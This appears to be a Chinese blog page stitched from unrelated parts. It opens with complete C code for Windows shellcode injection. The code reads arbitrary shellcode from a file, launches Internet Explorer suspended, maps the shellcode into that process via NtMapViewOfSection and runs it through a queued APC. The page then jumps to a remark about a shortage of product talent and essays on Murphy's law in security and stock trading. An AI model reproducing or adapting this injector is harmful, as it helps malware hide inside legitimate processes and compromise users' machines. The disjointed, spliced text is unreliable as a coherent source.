爱看电影,爱做梦

typedef LONG NTSTATUS, *PNTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

typedef enum _SECTION_INHERIT
{
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;

typedef NTSTATUS (__stdcall *func_NtMapViewOfSection) ( HANDLE, HANDLE, LPVOID, ULONG, SIZE_T, LARGE_INTEGER*, SIZE_T*, SECTION_INHERIT, ULONG, ULONG );

func_NtMapViewOfSection NtMapViewOfSection = NULL;
LPVOID NTAPI MyMapViewOfFileEx( HANDLE hProcess, HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow,
DWORD dwNumberOfBytesToMap, LPVOID lpBaseAddress )
{
NTSTATUS Status;
LARGE_INTEGER SectionOffset;
ULONG ViewSize;
ULONG Protect;
LPVOID ViewBase;
// 转换偏移量

SectionOffset.LowPart = dwFileOffsetLow;
SectionOffset.HighPart = dwFileOffsetHigh;

// 保存大小和起始地址

ViewBase = lpBaseAddress;
ViewSize = dwNumberOfBytesToMap;

// 转换标志为NT保护属性

if (dwDesiredAccess & FILE_MAP_WRITE)
{
Protect = PAGE_READWRITE;
}
else if (dwDesiredAccess & FILE_MAP_READ)
{
Protect = PAGE_READONLY;
}
else if (dwDesiredAccess & FILE_MAP_COPY)
{
Protect = PAGE_WRITECOPY;
}
else
{
Protect = PAGE_NOACCESS;
}

//映射区段

Status = NtMapViewOfSection(hFileMappingObject,
hProcess,
&ViewBase,
0,
0,
&SectionOffset,
&ViewSize,
ViewShare,
0,
Protect);
if (!NT_SUCCESS(Status))
{
// 失败

return NULL;
}

//返回起始地址

return ViewBase;
}

int WINAPI WinMain (HINSTANCE, HINSTANCE, LPSTR, int)
{
HMODULE hDll = LoadLibrary( “ntdll.dll” );

NtMapViewOfSection = (func_NtMapViewOfSection) GetProcAddress (hDll, “NtMapViewOfSection”);

// 取ShellCode,任何你想实现的

HANDLE hFile = CreateFile (“C:\shellcode.txt”, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

HANDLE hMappedFile = CreateFileMapping (hFile, NULL, PAGE_READONLY, 0, 0, NULL);

// 启动目标进程

STARTUPINFO st;
ZeroMemory (&st, sizeof(st));
st.cb = sizeof (STARTUPINFO);

PROCESS_INFORMATION pi;
ZeroMemory (&pi, sizeof(pi));

CreateProcess (“C:\Programme\Internet Explorer\iexplore.exe”, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &pi);
// 注入shellcode到目标进程地址空间

LPVOID MappedFile = MyMapViewOfFileEx (pi.hProcess, hMappedFile, FILE_MAP_READ, 0, 0, 0, NULL);

// 创建一个新的能够在目标线程恢复是首先执行的APC

QueueUserAPC ((PAPCFUNC) MappedFile, pi.hThread, NULL);
ResumeThread (pi.hThread);
CloseHandle (hFile);
CloseHandle (hMappedFile);
CloseHandle (pi.hThread);
CloseHandle (pi.hProcess);
return 0;
}

尤其在产品把握上，怎么保证一个产品做得好，能够传播出去，公司的项目太多 ，面临的最大挑战就是人才奇缺，这让人很头痛，公司一直很缺产品人才。
但产品人才一直是最不当作人才的,因为很不容易界定和评估.

“墨菲法则”、“派金森定理”和“彼德原理”并称为二十世纪西方文化中最杰出的三大发现。它源于1949年，一名叫墨菲的美国空军上尉工程师发现：假定你把一片干面包掉在地毯上，这片面包的两面均可能着地。但假定你把一片一面涂有一层果酱的面包掉在地毯上，常常是带有果酱的一面落在地毯上（麻烦）。换一种说法：如果坏事有可能发生，不管这种可能性有多小，它总会发生，并造成最大可能的破坏。

墨菲法则在信息安全中的应用 墨菲法则在工程界广为流传：任何可能变坏的事情，都会变坏。这个法则也叫草皮法则或者哄骗法则。更有趣的是，还有人归纳出奥图尔推论：墨菲是一个乐天派。 　　墨菲法则也适合信息安全领域，围绕一个组织的信息安全问题存在着各种随机因素，涉及人员多、环节多，人员的技术水平和安全意识不同。如果没有明确和统一的管理规定约束他们，就难免会出现墨菲法则所描述的现象

菲法则在股市中的应用
　　你怕跌，它偏偏跌给你看；你盼涨，它偏不涨；你忍不住卖了，它也开始涨了；你看好五只股，买进其中的一只，结果除了你手中的那只股外，其它四只涨得都很好。
　　经验是：同时看好的几只股中，买那只最没把握的。或这几只股在你心目中排名最后的那一个，可能效果最好。

墨菲法则的另类表述
1、如果第一次便成功，显然你已经做错某事。
2、如果某事不值得去做，则不值得把它做好。
3、绝不记住忘掉的事。
4、当一切都朝一个方向进行时，最好朝反方向深深的看一眼。
5、今天是你前半生的末日。
6、寻求单纯—-然后不信。
7、教育无法取代才智。
8、要是知道自己所值几何，你就会变成一文不值。
9、寂寞是你赶不走的东西。
10、自动消失的问题会自动回来。